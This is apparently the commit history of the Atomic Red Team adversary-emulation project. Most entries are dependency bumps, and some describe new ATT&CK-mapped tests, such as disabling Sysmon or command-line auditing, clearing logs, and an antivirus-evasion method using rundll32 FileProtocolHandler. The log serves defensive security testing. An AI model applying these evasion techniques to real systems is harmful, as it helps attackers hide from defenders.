dependabot[bot] 17aaa81236 Bump pytest from 8.2.1 to 8.2.2 (#2804)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.2.1 to 8.2.2.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.2.1...8.2.2)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-17 11:35:50 -04:00
dependabot[bot] 409830821b Bump hypothesis from 6.102.4 to 6.103.2 (#2811)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.102.4 to 6.103.2.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.102.4...hypothesis-python-6.103.2)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-17 11:33:55 -04:00
Atomic Red Team doc generator 0658d14d1d Generated docs from job=generate-docs branch=master [ci skip] 2024-06-13 22:08:58 +00:00
Alphonsa George 1cb761c5a0 Modified the Prereq_command of Test Unload Sysmon Filter Driver (#2807)
* Modified the Prereq_command of Test Unload Sysmon Filter Driver

* modified typo on the description

---------

Co-authored-by: alphonsa-01 <NA>
2024-06-13 17:07:09 -05:00
dependabot[bot] ebbf68eff2 Bump requests from 2.32.0 to 2.32.3 (#2796)
Bumps [requests](https://github.com/psf/requests) from 2.32.0 to 2.32.3.
- [Release notes](https://github.com/psf/requests/releases)
- [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md)
- [Commits](https://github.com/psf/requests/compare/v2.32.0...v2.32.3)

---
updated-dependencies:
- dependency-name: requests
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-04 10:09:19 -05:00
Atomic Red Team doc generator 1e3b63fbaf Generated docs from job=generate-docs branch=master [ci skip] 2024-06-04 14:50:36 +00:00
NeuralGlitch 30b73d06bf Update to T1105 with New Atomic Test (#2792)
* Adding a sample zip file to help with atomic test

* Update T1105.yaml

* Update T1105.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-06-04 09:49:22 -05:00
Atomic Red Team doc generator 430b2ac270 Generated docs from job=generate-docs branch=master [ci skip] 2024-06-04 14:41:09 +00:00
Mohana Shankar D c2bcb1c2a6 Update T1057.yaml (#2791)
New Process discovery atomic using PC hunter

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-06-04 09:39:56 -05:00
Phil Hagen 4b63cc604e Change ISO8859-1 to UTF-8 on included MD file (#2798)
* fix jinja2 syntax

* fix LinkById syntax

* further syntax correction for LinkById instances

* change encoding to UTF-8 to satisfy subsequent build processes
2024-06-03 17:38:44 -04:00
Phil Hagen 16ed461ee4 Fix LinkById syntax (#2794)
* fix jinja2 syntax

* fix LinkById syntax

* further syntax correction for LinkById instances
2024-06-03 12:46:19 -04:00
Atomic Red Team doc generator 65ef96a69d Generated docs from job=generate-docs branch=master [ci skip] 2024-06-03 11:09:33 +00:00
Carrie Roberts 8537ebde3c fix undefined filename (#2790)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-06-03 07:08:11 -04:00
Atomic Red Team doc generator fa4273ccd9 Generated docs from job=generate-docs branch=master [ci skip] 2024-05-31 14:19:47 +00:00
Phil Hagen f4382cf14c fix jinja2 syntax (#2793) 2024-05-31 10:18:39 -04:00
Atomic Red Team doc generator c816622770 Generated docs from job=generate-docs branch=master [ci skip] 2024-05-29 23:42:13 +00:00
NeuralGlitch fbe8663f49 Update T1562.001.yaml (#2788)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-29 18:40:55 -05:00
nish221b-bs 5175bbc392 Update T1112.yaml (#2785)
* Update T1112.yaml

Adding a new atomic test for registry modification for shadow key in terminal services

* Update T1112.yaml

Make reference a link, remove empty guid

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-29 18:39:11 -05:00
dependabot[bot] 5157bc80bd --- (#2784)
updated-dependencies:
- dependency-name: requests
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-20 21:44:22 -04:00
dependabot[bot] 5feb0b4703 Bump hypothesis from 6.101.0 to 6.102.4 (#2782)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.101.0 to 6.102.4.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.101.0...hypothesis-python-6.102.4)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-20 21:42:19 -04:00
dependabot[bot] f60c82f33c Bump pytest from 8.2.0 to 8.2.1 (#2783)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.2.0 to 8.2.1.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.2.0...8.2.1)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-20 21:39:56 -04:00
Atomic Red Team doc generator 25fdb321ee Generated docs from job=generate-docs branch=master [ci skip] 2024-05-16 01:42:23 +00:00
Pavan R Patil c26905e768 Added Splashstop streamer to T1219 (#2781)
* Added Splashstop streamer to T1219

* Fix YAML indent

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-05-15 20:41:05 -05:00
Atomic Red Team doc generator e855218dba Generated docs from job=generate-docs branch=master [ci skip] 2024-05-15 00:55:00 +00:00
abhijose09 efa3370b62 Update T1569.002.yaml (#2776)
* Update T1569.002.yaml

Added new test Modifying ACL of Service Control Manager via SDET

* correction

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-05-14 20:53:45 -04:00
Atomic Red Team doc generator 7bf6eaa80d Generated docs from job=generate-docs branch=master [ci skip] 2024-05-15 00:52:20 +00:00
Tessa Georgen 5d816a1ddb remove empty cleanup and add an auto_generated_guid (#2779)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-05-14 20:51:06 -04:00
Atomic Red Team doc generator 9c842daeb3 Generated docs from job=generate-docs branch=master [ci skip] 2024-05-15 00:48:54 +00:00
Hare Sudhan 5f71a665e2 Fix T1219 test (#2780) 2024-05-14 19:41:14 -05:00
dependabot[bot] 4fb0940d42 Bump hypothesis from 6.100.4 to 6.101.0 (#2777)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.100.4 to 6.101.0.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.100.4...hypothesis-python-6.101.0)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-13 17:36:15 -04:00
abhijose09 5f866ca451 Update T1112.yaml (#2774)
* Update T1112.yaml

Add new test Disable Windows Prefetch Through Registry

* fix spacing

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-10 13:36:54 -05:00
johnk3r 56b0e29923 New - T1553.006 (#2775)
* Create T1553.006.md

* Create T1553.006.yaml

* Update T1553.006.yaml

* Update T1553.006.md

* Update T1553.006.md

* Update T1553.006.md

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-10 13:34:29 -05:00
Leo Verlod 1c452cbafb Adding Netscan test to T1018 (#2767)
* Adding Netscan test to T1018

* Fixing typo in Netscan test description

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-10 13:00:34 -05:00
Leo Verlod b2658be590 Update T1219.yaml (#2763)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-10 12:54:10 -05:00
htngork 0cea1e6309 Created T1016.002 atomic (#2762)
* Create T1016.002.yaml

* Update T1016.002.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-10 12:50:13 -05:00
Atomic Red Team doc generator 1b8b66b6fe Generated docs from job=generate-docs branch=master [ci skip] 2024-05-10 14:47:37 +00:00
Leo Verlod b4c30600a8 Update T1135.yaml (#2761)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-09 11:44:13 -05:00
Mohana Shankar D 67bfc95355 New Atomic test- Process Hacker -Update T1057.yaml (#2754)
* New Atomic test- Process Hacker -Update T1057.yaml

* Update T1057.yaml

Removed the cleanup command and input arguments for the uninstallation package

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-05-09 11:39:54 -05:00
nmontesinoc 9af1dd8675 Adding codebox so '\' characters shows up well in Markdown (#2766)
Co-authored-by: Nico <nmontesino@incide.es>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-05-08 23:41:25 -04:00
dependabot[bot] 086ccaa42d Bump jsonschema from 4.21.1 to 4.22.0 (#2768)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.21.1 to 4.22.0.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.21.1...v4.22.0)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-08 23:35:22 -04:00
dependabot[bot] e5c30fa7c9 Bump hypothesis from 6.100.2 to 6.100.4 (#2769)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.100.2 to 6.100.4.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.100.2...hypothesis-python-6.100.4)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-05-08 23:32:49 -04:00
dependabot[bot] 7e11e9b795 Bump pytest from 8.1.2 to 8.2.0 (#2764)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.1.2 to 8.2.0.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.1.2...8.2.0)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-04-30 21:12:59 -04:00
dependabot[bot] 2e06b29fe4 Bump hypothesis from 6.100.1 to 6.100.2 (#2765)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.100.1 to 6.100.2.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.100.1...hypothesis-python-6.100.2)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-04-30 21:08:47 -04:00
Atomic Red Team doc generator 4c6639f4ff Generated docs from job=generate-docs branch=master [ci skip] 2024-04-27 18:09:22 +00:00
NeuralGlitch e2428a7b12 Added new a new atomic test in T1003 and T1187 (#2758)
* Update T1003.yaml

Added a new atomic test (number 7) - Send NTLM Hash with RPC Test Connection

* Update T1187.yaml

Added new atomic test under T1187 (Test no 3) - "Trigger an authenticated RPC call to a target server with no Sign flag set"

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-27 13:08:12 -05:00
Atomic Red Team doc generator f64434da24 Generated docs from job=generate-docs branch=master [ci skip] 2024-04-27 17:50:49 +00:00
CyberBilly7 5c50c4409d Adding T1112 Test 69 (#2748)
* Update T1112.yaml

* Update T1112.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-27 12:44:00 -05:00
Hare Sudhan cb602ba482 update enterprise attack (#2760)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-27 12:41:30 -05:00
Hare Sudhan 82fc8d41cc Add tests for python code (#2759)
* add tests for python code

* ruff format
2024-04-27 12:38:14 -05:00
publish bot 58496ee330 updating atomics count and guids [ci skip] 2024-04-26 18:39:07 +00:00
Badoodish 6450adfb3b Update T1048.002.yaml (#2741)
Added two tests for wget linux

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-04-26 14:35:50 -04:00
publish bot ef6b9e2fd3 updating atomics count and guids [ci skip] 2024-04-26 18:10:13 +00:00
Badoodish 85660f12bf Added tests for T1562.012 (#2743)
* Added tests for T1562.012

* Update T1562.012.yaml

* Update T1562.012.yaml - Added cleanup commands

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-04-26 13:53:35 -04:00
publish bot 91510e6452 updating atomics count and guids [ci skip] 2024-04-25 17:30:26 +00:00
Hare Sudhan e7e1e8acff Fix auto_generated_guids file (#2757)
* Update guid.py

* Update used_guids.txt
2024-04-25 11:29:51 -06:00
publish bot dd4372d5cd updating atomics count and guids [ci skip] 2024-04-25 17:07:26 +00:00
Lou Stella ee0c796d1a Add atomics to PR (#2756) 2024-04-25 12:06:49 -05:00
publish bot 075acccaa5 updating atomics count and guids [ci skip] 2024-04-24 00:44:33 +00:00
NeuralGlitch 18388cd63d Create T1622.yaml (#2752)
Created a new folder T1622 and an yaml file for new atomic test

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-23 19:44:00 -05:00
publish bot fa385d1153 updating atomics count and guids [ci skip] 2024-04-24 00:37:13 +00:00
Leo Verlod a7a16b3471 Update T1135.yaml (#2745)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-23 19:36:34 -05:00
publish bot 9d431435b5 updating atomics count and guids [ci skip] 2024-04-24 00:29:50 +00:00
ajpc500 82ad1c0bd8 remove pause from seatbelt psh command (#2744)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-23 18:29:00 -06:00
publish bot 1f253f28cd updating atomics count and guids [ci skip] 2024-04-24 00:26:51 +00:00
Badoodish 95cc8e7ffc Update T1562.003.yaml (#2742)
Tweaking my own tests to fix markdown formatting and simplify executions

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-23 18:26:01 -06:00
publish bot 1fed40dc7e updating atomics count and guids [ci skip] 2024-04-15 23:30:40 +00:00
dependabot[bot] cb89ccfaf7 Bump pydantic from 2.6.4 to 2.7.0 (#2747)
Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.6.4 to 2.7.0.
- [Release notes](https://github.com/pydantic/pydantic/releases)
- [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md)
- [Commits](https://github.com/pydantic/pydantic/compare/v2.6.4...v2.7.0)

---
updated-dependencies:
- dependency-name: pydantic
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-04-15 19:29:58 -04:00
publish bot ae626d8772 updating atomics count and guids [ci skip] 2024-04-15 23:17:51 +00:00
dependabot[bot] 119d220e7a Bump typer from 0.12.1 to 0.12.3 (#2746)
Bumps [typer](https://github.com/tiangolo/typer) from 0.12.1 to 0.12.3.
- [Release notes](https://github.com/tiangolo/typer/releases)
- [Changelog](https://github.com/tiangolo/typer/blob/master/docs/release-notes.md)
- [Commits](https://github.com/tiangolo/typer/compare/0.12.1...0.12.3)

---
updated-dependencies:
- dependency-name: typer
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-04-15 19:17:11 -04:00
publish bot 5a4b155817 updating atomics count and guids [ci skip] 2024-04-14 00:53:16 +00:00
dependabot[bot] 64e4b226e4 Bump idna from 3.6 to 3.7 (#2740)
Bumps [idna](https://github.com/kjd/idna) from 3.6 to 3.7.
- [Release notes](https://github.com/kjd/idna/releases)
- [Changelog](https://github.com/kjd/idna/blob/master/HISTORY.rst)
- [Commits](https://github.com/kjd/idna/compare/v3.6...v3.7)

---
updated-dependencies:
- dependency-name: idna
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-04-13 20:52:34 -04:00
Hare Sudhan 3bf390b116 Python conversion of maintenance commands (#2739)
* updating atomics count in README.md [ci skip]

* converting python

* rename

* fix path

* minor refactor

---------

Co-authored-by: publish bot <opensource@redcanary.com>
2024-04-07 08:52:35 -06:00
Atomic Red Team doc generator 3bcc943259 Generated docs from job=generate-docs branch=master [ci skip] 2024-04-07 02:49:34 +00:00
Hare Sudhan acd5bf322b cleanup (#2738) 2024-04-06 20:28:33 -06:00
Atomic Red Team doc generator 936ac00f52 Generated docs from job=generate-docs branch=master [ci skip] 2024-04-06 02:13:59 +00:00
Atomic Red Team GUID generator 61c178723c Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-04-06 02:13:42 +00:00
dwhite9 5ac96ed038 added -f switch to all cleanup "rm" commands to supress the conformation (#2735)
dialog that causes it to hang.

Co-authored-by: dwhite9 <not-supplied>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-04-05 12:19:35 -05:00
publish bot 7d414431ed updating atomics count in README.md [ci skip] 2024-04-04 20:17:26 +00:00
Bhavin Patel a7353cb8c5 Merge pull request #2731 from corg1chug/master
Create T1114.002.yaml
2024-04-04 20:16:45 +00:00
Bhavin Patel cea1117876 Merge branch 'master' into master 2024-04-04 20:12:38 +00:00
publish bot d7979ce7fb updating atomics count in README.md [ci skip] 2024-04-03 05:04:49 +00:00
Hare Sudhan e301d16430 Merge branch 'master' into master 2024-04-03 01:04:30 -04:00
pratinavchandra 87eff2b6b8 Added new atomic test: Update T1105.yaml (#2734)
* Added new atomic test: Update T1105.yaml

* Update T1105.yaml
2024-04-03 01:04:06 -04:00
Atomic Red Team GUID generator 09619c17e4 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-04-03 02:10:46 +00:00
pratinavchandra 5ae956b990 Added new atomic test: Update T1490.yaml (#2733)
* Added new atomic test: Update T1490.yaml

* Added cleanup_command
2024-04-02 22:10:02 -04:00
corg1chug b18b1a8957 Added new atomic test: Update T1114.002.yaml
fixed typo ' Get-InstalledModule Az.Accounts'
2024-04-02 11:57:47 -04:00
corg1chug a36179d4b4 Merge pull request #1 from redcanaryco/master
updating atomics count in README.md [ci skip]
2024-04-02 10:01:03 -04:00
publish bot b044c4921f updating atomics count in README.md [ci skip] 2024-03-30 02:34:57 +00:00
Hare Sudhan dc001a3b59 Merge branch 'master' into master 2024-03-29 22:34:43 -04:00
pratinavchandra edc7f3eed4 Added new atomic test: Update T1001.002.yaml (#2730)
* Update T1001.002.yaml

* Update T1001.002.yaml

* Update T1001.002.yaml

* Update T1001.002.yaml

* Update T1001.002.yaml

* Update T1001.002.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-03-29 22:34:19 -04:00
publish bot 999ef45ffb updating atomics count in README.md [ci skip] 2024-03-29 18:45:26 +00:00
pyth0n1c a8421f8fb1 Minor fix to "type" field (#2732)
with nonstandard capitalization
2024-03-29 12:44:45 -06:00
corg1chug 0138eae293 Create T1114.002.yaml 2024-03-28 15:38:44 -04:00
publish bot 42dae0db82 updating atomics count in README.md [ci skip] 2024-03-28 06:56:14 +00:00
Carrie Roberts 8059a7fc39 force delete (#2728) 2024-03-28 02:55:34 -04:00
publish bot 5b2892e58f updating atomics count in README.md [ci skip] 2024-03-21 13:21:02 +00:00
pratinavchandra 41e8efa9c8 Update T1569.001.yaml: Fixed description for label_name (#2726)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-21 08:20:24 -05:00
publish bot 82c85b0f17 updating atomics count in README.md [ci skip] 2024-03-21 13:19:04 +00:00
TrentonTait 19e82555c6 Update BrowserCollector to use Firefox (#2724) 2024-03-21 08:18:25 -05:00
Atomic Red Team doc generator ac9e63e872 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-18 16:37:08 +00:00
Atomic Red Team GUID generator cf025a46c7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-18 16:36:55 +00:00
ohadm-cynet 0750e734e6 fix f3ad3c5b-1db1-45c1-81bf-d3370ebab6c8 schema (#2723) 2024-03-18 11:36:19 -05:00
publish bot 1099145948 updating atomics count in README.md [ci skip] 2024-03-17 02:02:32 +00:00
sai prashanth pulisetti 23d1a4b8e7 Update T1072.yaml Deploy 7-Zip Using Chocolatey (#2662)
* Update T1072.yaml Deploy 7-Zip Using Chocolatey

    An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility.

* Update T1072.yaml

made changes accordingly

* Update T1072.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-16 21:01:56 -05:00
Atomic Red Team doc generator 299603d06f Generated docs from job=generate-docs branch=master [ci skip] 2024-03-17 01:56:45 +00:00
Atomic Red Team GUID generator 805fbea899 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-17 01:56:33 +00:00
Zitni Handoo 895fb8ab05 Add test 24 to T1562.004 (#2718)
* Add test 24 to T1562.004

Adding a new test (test 24) to T1562.004 - Set a firewall rule using New-NetFirewallRule

* updating default port

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-16 20:55:59 -05:00
Atomic Red Team doc generator fdc97c3f37 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-17 01:48:45 +00:00
Atomic Red Team GUID generator 2ef494158f Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-17 01:48:33 +00:00
NeuralGlitch 91912fdd93 Added a new atomic to T1202 (#2715)
* Create src

* Delete atomics/T1202/src

* Create GUP.exe

* Delete atomics/T1202/src/GUP.exe

* Create TEST.exe

* Add files via upload

* Delete atomics/T1202/src/TEST.exe

* Update T1202.yaml

Updated new atomic test

* Create test

* Add files via upload

* Delete atomics/T1105/bin/test

* Update T1105.yaml

* remove duplicate

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-16 20:47:56 -05:00
publish bot 90bcc79d01 updating atomics count in README.md [ci skip] 2024-03-17 01:25:13 +00:00
itsmeLevan a5e3460d41 Update T1218.011.yaml (#2719)
technique utilizing rundll32.exe and the FileProtocolHandler method to execute a command without requiring administrative privileges. By leveraging rundll32.exe in this manner, the test aims to assess the effectiveness of antivirus solutions, including Bitdefender, Windows Defender, and others, in detecting and preventing command execution evasion. The provided command bypasses certain antivirus detections by using the FileProtocolHandler to execute the specified command, in this case, launching 'calc.exe'. This evasion technique is known for its ability to exploit legitimate processes to execute malicious commands while avoiding detection. The test serves as an evaluation of antivirus solutions' capabilities to detect and mitigate such evasion tactics, contributing to the overall assessment of endpoint security posture.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-16 20:24:35 -05:00
Atomic Red Team doc generator 65869495d8 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-13 18:04:34 +00:00
Atomic Red Team GUID generator b4289ea077 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-13 18:04:20 +00:00
Bhavin Patel 8fef682386 Merge pull request #2659 from prashanthpulisetti/patch-7
Update T1580.yaml AWS - EC2 Security Group Enumeration
2024-03-13 18:03:43 +00:00
Bhavin Patel 5a3850c016 Merge branch 'master' into patch-7 2024-03-13 18:01:27 +00:00
Atomic Red Team doc generator be9944dba6 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-13 18:00:02 +00:00
Bhavin Patel 0d12184338 Merge branch 'master' into patch-7 2024-03-13 17:59:57 +00:00
Atomic Red Team GUID generator 25e8d49800 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-13 17:59:42 +00:00
Bhavin Patel e12ad94216 Merge branch 'master' into patch-7 2024-03-13 17:59:14 +00:00
Bhavin Patel b408522fb3 Merge pull request #2722 from prashanthpulisetti/patch-12
Update T1070.003.yaml
2024-03-13 17:58:56 +00:00
Bhavin Patel 6cd7fb1b8c Update T1070.003.yaml
Removing guid
2024-03-13 10:57:47 -07:00
sai prashanth pulisetti 82ecf271e7 Merge branch 'master' into patch-7 2024-03-13 17:46:09 +00:00
sai prashanth pulisetti 485d1b831d Update T1070.003.yaml
updated bash
2024-03-13 19:02:14 +05:30
sai prashanth pulisetti a2a74b30e9 Update T1070.003.yaml 2024-03-13 18:58:10 +05:30
sai prashanth pulisetti a128b9981a Update T1070.003.yaml
Clear Docker Container Logs
2024-03-13 18:53:48 +05:30
Atomic Red Team doc generator a492a7390c Generated docs from job=generate-docs branch=master [ci skip] 2024-03-10 22:24:16 +00:00
chandangupta1997 2340af5ccc Update T1040.yaml Link was broken (#2721)
Link is broken Might be a typo :-https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe

Correct Link :-https://1.eu.dl.wireshark.org/win64/Wireshark-latest-x64.exe
2024-03-10 18:23:29 -04:00
Hare Sudhan 64c84cac97 Merge branch 'master' into patch-7 2024-03-07 20:06:16 -05:00
Atomic Red Team doc generator 8be0e2d8a4 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-07 18:25:32 +00:00
Atomic Red Team GUID generator 5ed75190b2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-07 18:25:13 +00:00
Bhavin Patel c4a5113db0 Merge pull request #2688 from W00glin/master
T1613 - Podman
2024-03-07 10:24:26 -08:00
Bhavin Patel e218a8a775 Update T1613.yaml
Updated the Atomic File in a correct format as per the comments.
2024-03-07 10:20:22 -08:00
Bhavin Patel 4cf246e1ed Merge branch 'master' into master 2024-03-07 10:15:48 -08:00
Bhavin Patel 9d4056fdbf Merge branch 'master' into patch-7 2024-03-07 10:11:24 -08:00
Atomic Red Team doc generator 4e9698e67c Generated docs from job=generate-docs branch=master [ci skip] 2024-03-07 02:20:46 +00:00
Badoodish e4129551f7 Update T1562.003.yaml (#2717)
Corrected executor for powershell cmdlet test.
2024-03-06 19:19:55 -07:00
Atomic Red Team doc generator 2d82fc9563 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-06 19:35:27 +00:00
Atomic Red Team GUID generator dd87338bc0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-06 19:35:14 +00:00
Badoodish 7d311f19f1 Update T1562.003.yaml (#2716)
Corrected the MITRE ATT&CK subtechnique name at top of the file.
Added two new tests for disabling Windows Command Line Auditing

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-06 13:34:39 -06:00
publish bot 9877156eec updating atomics count in README.md [ci skip] 2024-03-06 16:43:12 +00:00
Raghav_Singh 097ed862cc New Tests: T1001.002 - Data Obfuscation: Steganography (#2695)
* Create T1001.002.yaml

* Create T1001.002.md

* Update T1001.002.yaml

* Update T1001.002.yaml

* Delete atomics/T1001.002/T1001.002.md

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-03-06 10:42:19 -06:00
BF 3e5736d57c Merge branch 'master' into master 2024-03-05 09:23:18 -08:00
Atomic Red Team doc generator 029110b694 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-01 19:23:30 +00:00
Atomic Red Team GUID generator 82729bc3bc Generate GUIDs from job=generate-docs branch=master [skip ci] 2024-03-01 19:23:17 +00:00
jandress 498aecdb83 New test: T1542.001 - 'UEFI Persistence via Wpbbin.exe File Creation' (#2714)
* New test: T1542.001 - 'UEFI Persistence via Wpbbin.exe File Creation'

* Update T1542.001.yaml

---------

Co-authored-by: jandress <1542666+jandress@users.noreply.github.com>
2024-03-01 13:22:39 -06:00
Atomic Red Team doc generator de85398163 Generated docs from job=generate-docs branch=master [ci skip] 2024-03-01 17:54:31 +00:00
Zitni Handoo 13937a18f4 Fix T1071.001 Test 2 (#2713)
Test #2 for T1071.001 is currently not working properly, since the pre-requisite command is incorrect.
This change is to fix the md and yaml files to update the URL for curl
2024-03-01 11:53:40 -06:00
Atomic Red Team doc generator 11a5b66c38 Generated docs from job=generate-docs branch=master [ci skip] 2024-02-29 01:57:59 +00:00
